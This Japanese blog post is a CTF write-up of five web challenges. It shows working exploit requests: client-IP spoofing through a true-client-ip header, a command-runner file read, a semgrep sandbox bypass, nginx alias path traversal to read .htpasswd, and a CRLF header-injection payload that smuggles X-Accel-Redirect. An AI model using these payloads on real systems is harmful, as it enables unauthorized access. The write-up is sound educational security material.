st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Flatt Security Speedrun CTF #2 writeup

12/5に開催されたFlatt Security Speedrun CTF #2に参加した。CTFの名前にもあるようにこれは第2回で、第1回はCODE BLUE 2023の中で開催されていた。イベントの趣旨は前回大会の記事を参照いただくとして、前回あまりに解かれなかったために新しい問題セットでリベンジしようということらしかった。競技時間は80分で、前回と同様に5問のWeb問が出題された。

2連覇を目指して参加したところ、無事に再び1位を獲得できた*1。しかしながら、全完はできず。確かに前回より全体的に難易度が下がっていた気がするものの、5問目のnginxに関してはどうだろう。

リンク:


競技時間中に解いた問題

[目標タイム: 5分 / 区間タイム: 2分20秒2] X

x means x- header.

(問題サーバのURL)

添付ファイル: x.zip

ソースコードは次の通り。127.0.0.1 からアクセスしていることにすればフラグが得られるらしい。ただし、X-Forwarded-ForX-Cloud-Trace-Context といったヘッダは削除されるし、そもそも x から始まるヘッダを与えていれば怒られる。こういう問題構成から、x から始まらないけれども、X-Real-IP のような挙動をするヘッダを探せということなのだろうと推測する。

import { getClientIp } from "request-ip";

const port = process.env.PORT || 3000;

Bun.serve({
  port,
  fetch(req) {
    // the remote server is running on Cloud Run, so these headers are sent.
    req.headers.delete("x-cloud-trace-context");
    req.headers.delete("x-forwarded-for");
    req.headers.delete("x-forwarded-proto");

    if ([...req.headers.keys()].some((k) => k.startsWith("x"))) {
      return new Response("x header is banned!", { status: 400 });
    }
    if (
      getClientIp({
        headers: Object.fromEntries(req.headers.entries()),
      }) === "127.0.0.1"
    ) {
      return new Response(process.env.FLAG);
    }
    return new Response("You are not coming from 127.0.0.1!");
  },
});

request-ip というライブラリを使っているようだったので、そのソースコードを確認する。いっぱい候補がある。適当に x から始まっていない true-client-ip を選んで送ってみる。フラグが得られた。

$ curl https://x-ofbjo9tumm-fuuaq4evkq-an.a.run.app/ -H "true-client-ip: 127.0.0.1"
flag{not_only_x-forwarded-for}
flag{not_only_x-forwarded-for}

[目標タイム: 5分 / 区間タイム: 58秒2] busybox1

Read /flag.

(問題サーバのURL)

添付ファイル: busybox1.zip

与えられたURLにアクセスすると、なんかOSコマンドを実行できそうなフォームが表示される。pwdid といったコマンドを実行すると、その結果が返ってきた。

ソースコードは次の通り。競技中は真面目にソースコードを確認せず、/flag にフラグが書き込まれていることと、catsh といったコマンドは使えず、また /bin 下のバイナリしか実行できないというところだけ読んでいた。

const port = process.env.PORT || 3000;

if (process.env.FLAG) {
  Bun.write("/flag", process.env.FLAG);
  delete process.env.FLAG;
  delete Bun.env.FLAG;
}

Bun.serve({
  port,
  async fetch(req) {
    const path = new URL(req.url).pathname;
    if (req.method === "POST" && path === "/run") {
      const json = await req.json();
      const command = json.command;
      if (
        !Array.isArray(command) ||
        !command.every((c): c is string => typeof c === "string") ||
        command.length === 0
      ) {
        return Response.json({ error: "Invalid command." });
      }

      if (command[0].includes("/")) {
        return Response.json({ error: "Only commands in /bin are allowed!" });
      }
      if (["cat", "sh"].some((banned) => command[0].includes(banned))) {
        return Response.json({ error: "Banned!" });
      }

      command[0] = "/bin/" + command[0];

      try {
        const proc = Bun.spawnSync(command, { env: Bun.env });
        return Response.json({
          stdout: proc.stdout.toString(),
          stderr: proc.stderr.toString(),
        });
      } catch (e: unknown) {
        return Response.json({
          error: String(e),
        });
      }
    }
    return new Response(Bun.file("index.html"));
  },
});

xxd /flag を試したらいけた。

flag{you_can_read_any_file_without_cat}

[目標タイム: 10分 / 区間タイム: 1分18秒2] busybox2

Run /getflag.

(問題サーバのURL)

添付ファイル: busybox2.zip

今度は /flag を読むのではなく、/getflag という実行ファイルを実行せよということらしい。ただ、やはり catsh は実行できないし、/bin 下の実行ファイルしか実行できない。

const port = process.env.PORT || 3000;

Bun.serve({
  port,
  async fetch(req) {
    const path = new URL(req.url).pathname;
    if (req.method === "POST" && path === "/run") {
      const json = await req.json();
      const command = json.command;
      if (
        !Array.isArray(command) ||
        !command.every((c): c is string => typeof c === "string") ||
        command.length === 0
      ) {
        return Response.json({ error: "Invalid command." });
      }

      if (command[0].includes("/")) {
        return Response.json({ error: "Only commands in /bin are allowed!" });
      }
      if (["cat", "sh"].some((banned) => command[0].includes(banned))) {
        return Response.json({ error: "Banned!" });
      }

      command[0] = "/bin/" + command[0];

      try {
        const proc = Bun.spawnSync(command, { env: Bun.env });
        return Response.json({
          stdout: proc.stdout.toString(),
          stderr: proc.stderr.toString(),
        });
      } catch (e: unknown) {
        return Response.json({
          error: String(e),
        });
      }
    }
    return new Response(Bun.file("index.html"));
  },
});

ls /bin を実行して、出力された実行ファイルの一覧を見る。xargs が目に入った。

flag{you_can_directly_run_busybox_sh_btw}

[目標タイム: 20分 / 区間タイム: 33分37秒5] semgrep

It's brand new semgrep-js-sandbox!

(問題サーバのURL)

添付ファイル: semgrep.zip

ソースコードは次の通り。Bun上で好きなJSコードが実行されるのだけれども、完全に自由というわけではない。semgrepによって事前によろしくない(とされている)処理、たとえば eval だったり、配列だったりが存在していないかがチェックされており、もしこのチェックに引っかかればそこで中断される。フラグは /flag というファイルに書き込まれているので、それを読めばよさそう。

const port = process.env.PORT || 3000;

if (process.env.FLAG) {
  Bun.write("/flag", process.env.FLAG);
  delete process.env.FLAG;
  delete Bun.env.FLAG;
}

async function semgrep(code: string, options?: string[]) {
  const proc = Bun.spawn(
    [
      "/usr/local/bin/semgrep",
      "--metrics=off",
      "--disable-version-check",
      ...(options ?? []),
    ],
    {
      stdin: "pipe",
      stdout: "pipe",
      stderr: "pipe",
      env: {
        ...process.env,
        XDG_CONFIG_HOME: "/tmp",
        SEMGREP_VERSION_CACHE_PATH: "/tmp/semgrep_version",
      },
    },
  );
  proc.stdin.write(code);
  proc.stdin.end();

  let stdout = "";
  for await (const chunk of proc.stdout) {
    stdout += new TextDecoder().decode(chunk);
  }
  let stderr = "";
  for await (const chunk of proc.stderr) {
    stderr += new TextDecoder().decode(chunk);
  }
  return { stdout, stderr };
}

Bun.serve({
  port,
  async fetch(req) {
    const path = new URL(req.url).pathname;
    if (req.method === "POST" && path === "/run") {
      const json = await req.json();
      const code = json.code;
      if (typeof code !== "string") {
        return Response.json({ error: "Invalid code." });
      }

      try {
        const { stdout: semgrepJson } = await semgrep(code, [
          "--config=./config.yml",
          "--json",
          "-",
        ]);
        const { stdout, stderr } = await semgrep(code, [
          "--config=./config.yml",
          "-",
        ]);

        let output = "";
        if (JSON.parse(semgrepJson).results.length === 0) {
          output = String(
            await new Function(
              `"use strict"; return (async () => { return ${code} })();`
            )()
          );
        }

        return Response.json({
          output,
          stdout,
          stderr,
        });
      } catch (e: unknown) {
        return Response.json({
          error: String(e),
        });
      }
    }
    return new Response(Bun.file("index.html"));
  },
});

ルールの一覧は config.yml に存在しているが、150行超もあり読むのが面倒だ。色々試しつつ、引っかかったらそのルールを調べてバイパスするという感じでやっていきたい。

まずこの問題での目標を考える。/flag を読めばよいということで、Bunにおけるファイルの読み書きについて調べたところ、await Bun.file('/flag').text() でできることがわかった。早速実行してみるが、以下のように "forbidden spells" が含まれているし、文字列が使われていると怒られてしまった。

Bun が "forbidden spells" に引っかかっているほか、文字列リテラルを使っているのがダメらしい。こういうJSの曲芸なら慣れている。後者は String.fromCharCode で置き換えられる。前者は globalThis[String.fromCharCode(…)] で置き換えられる。 await (globalThis[String.fromCharCode(66, 117, 110)].file(String.fromCharCode(47, 102, 108, 97, 103))).text() を実行してみたところ、ローカルではフラグを得られた。しかしながら、本番サーバでは以下のように503が出てしまう。CTFの運営に尋ねたものの原因はその場ではわからず、別の方法を探すことになった。

前回の記憶から fetch('file:///etc/passwd') のように fetch を試してみたものの、やはり503が返ってくる。

色々試していく中で、なぜか以下のように JSON.stringify(await Bun.file('/flag').stream().getReader().read(x=>x.value)) 相当のコードを実行することで、フラグが得られた。

(JSON.stringify(await ((globalThis[String.fromCharCode(66, 117, 110)].file(String.fromCharCode(47, 102, 108, 97, 103))).stream().getReader().read(x=>x.value))))
flag{broken_js_have_no_semantics}

競技終了後に解いた問題

[目標タイム: 20分 / 区間タイム: 解けず] nginx

https://github.com/yandex/gixy is your friend!

(問題サーバのURL)

添付ファイル: nginx.zip

次のようなnginxの設定ファイルが与えられる。/admin/flag にアクセスするとフラグが得られるけれども、これは internal と内部からのリクエストでなければ404を返すし、BASIC認証がかけられているし、あと limit_rate 1 とめっちゃ厳しいレートリミットが設定されているしという感じで、これらをなんとかしたい。

server {
    listen       ${PORT};
    server_name  localhost;

    location / {
        root   /usr/share/nginx/html;
        index  index.html index.htm;
    }

    # vuln1: https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md
    location /alias-traversal {
        alias /usr/share/nginx/html/;
    }

    # vuln2: https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md
    location ~ /header-injection/([^/]*) {
        add_header X-Header-Injection $1;
        return 200;
    }

    location /admin {
        auth_basic "Administrator's Area";
        auth_basic_user_file /usr/share/nginx/.htpasswd;

        location ~ /admin/proxy/(.*) {
            proxy_pass http://127.0.0.1:${PORT}/$1;
        }

        location /admin/flag {
            # https://nginx.org/en/docs/http/ngx_http_core_module.html#internal
            internal;

            # so slow... you will be timed out!
            limit_rate 1;

            return 200 "${FLAG}";
        }
    }
}

まずBASIC認証の突破だけれども、/alias-traversal という明らかに怪しいパスがあり、わざわざコメントでリンクまで張られているけれども、ここで location がスラッシュで終わっていないために、たとえば /alias-traversal../hoge のようにしてPath Traversalができる。これで以下のようにして、まずBASIC認証のパスワードが得られた。

$ curl --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/alias-traversal../.htpasswd
ctf:{PLAIN}80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106

次にいかにして /admin/flag にアクセスするかだけれども、これは /admin/proxy/…proxy_pass が使える。一応アクセスはできるけれども、あまりに遅くてタイムアウトしてしまう。limit_rate と聞くと Range ヘッダを思い出すけれども、残念ながらそれを使ってもタイムアウトする。

$ curl -i -u ctf:80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106 --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/admin/proxy/admin/flag
upstream request timeout

競技時間中はここまでしかできなかった。/header-injection/ でどう考えてもヘッダインジェクションができるけれども、たとえば Location を使っても proxy_pass は無視して遷移してくれなかった。競技終了後に作問者のakiymさんから解説があったけれども、X-Accel-Redirect というヘッダが使えたらしい。実は internal ディレクティブのドキュメントで、

Internal requests are the following:

  • requests redirected by the “X-Accel-Redirect” response header field from an upstream server;

という形で言及されていたそう。また、X-Accel-Limit-Rate というヘッダでレートリミットを上げられたらしい。なるほど、たしかにできた。実はこの X-Accel を使う問題を以前解いたことがあったものの、思い出せなかった。

$ curl -u ctf:80aad5dfcc567e6c5f586d6d426cf20a40f3e9ba98c0ccd2df3c2a6d41014106 --path-as-is https://nginx-qmw11n6i0i-fuuaq4evkq-an.a.run.app/admin/proxy/header-injection%2fhoge%250d%250aX-Accel-Redirect:%25252fadmin%25252fflag%250d%250aX-Accel-Limit-Rate:1000%250d%250a
flag{x_header_again_and_everything_is_hidden_in_x}
flag{x_header_again_and_everything_is_hidden_in_x}

*1:Speedrun CTF #1, mini CTF #3, Speedrun CTF #2とFlatt Securityが開催するCTFで3連続で1位を取れて嬉しい…のだけれども、今後はもし入賞できたとしても賞品をもらうのは辞退すべきではないかと思うところ